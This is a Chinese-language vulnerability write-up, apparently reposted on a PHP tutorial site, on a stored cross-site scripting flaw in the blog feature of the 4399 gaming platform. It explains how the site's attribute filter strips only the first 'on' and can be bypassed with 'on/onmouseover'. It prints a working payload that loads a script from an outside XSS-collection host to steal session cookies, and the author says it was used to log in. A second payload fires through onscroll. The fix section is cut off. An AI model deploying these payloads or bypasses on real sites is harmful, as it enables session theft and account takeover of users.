网站地图    收藏   

主页 > 后端 > 网站安全 >

4399储存型xss,过滤器绕过 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。1 测试地址http://my.4399.com/space-693256254-do-blog-id-1140804.html请在确认后漏洞后删掉此地址内容。2 4399日志处可以构成...

4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。

 
1 测试地址
 
http://my.4399.com/space-693256254-do-blog-id-1140804.html
 
 
请在确认后漏洞后删掉此地址内容。
 
2 4399日志处可以构成xss,此处的过滤器
 
传了个图,插了写代码进去,发现会将on expression \ 等过滤成.
 
3 经过测试发现,这里应该是对<img>标签的每个属性进行正则,只要发现就进行过滤,但是一个字符串只是过滤最前面的一个特殊字符。
 
就是说onload onload===》.load .load ononload===》.onload
 
4 所以直接构造onload为on/onload即可绕过
 
5 不过在测试时候发现,虽然可以插进去,F12查看也正常,但是没有执行。<img>的onload onerror之类的貌似都会重新判断一次。
 
比如
 
//伪代码
if(图片尺寸>50){
img.onload="xxx"
}
 
 
所以就又试着插了些别的代码,比如input、iframe等,
 
6 测试之后发现这里貌似只能插入<div> <img> <a> <font> <p>等几个标签,看来是做了白名单了
 
所以就用onmouseover
 
7 插一个大点的<img> <div> 效果也蛮不错诶,基本上进去就会触发了。(图中的红色边框是div的区域,为了让大家看的更加之观点)
 
图1
 
 
8 插入的代码,以及F12中看到成功插入
 
图2 图3
 



 
 
 
 
 
9 插入了下盗取cookie的代码,并成功盗取cookie登录
 
将onmouseover写为on/onmouseover,会过滤成为. onmouseover
插入成功后的盗取cookie的代码,用F12那里复制出来如下
(这里要注意对script进行下转换,不然script会被过滤成.)
<div style="border:5px solid red;" .="" onmouseover="s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src='http://xsser.me/4310VB?'+Math.random();document.body.appendChild(s)"><img src="http://p.img4399.com/82248039/3" .="" onmouseover="alert(2)"></div>
 
 
图4
 
 
 
 
10 这里<div>也可以插入以下代码直接访问就触发xss
 
<div id="xx" onscroll="alert(1);" style="height:30px;overflow-y:auto;width:100px;">a b c a b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b c<a name="t">d</a></div>
 
 
div 当滚动条滚动的时候触发
 
div里面的内容是为了让div出现滚动条,name="t"那个是为了让可以直接定位到那里使滚动条滚动
 
利用地址后面要http://xxx.html#t
 
要加上#t 才会直接到<a>标签name处触发onscroll
 
11 至于给管理员通过意见反馈、私信等途径,发链接去xss管理员cookie和后台地址这些事情我就不干了。
 

 
修复方案:
过滤、、

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论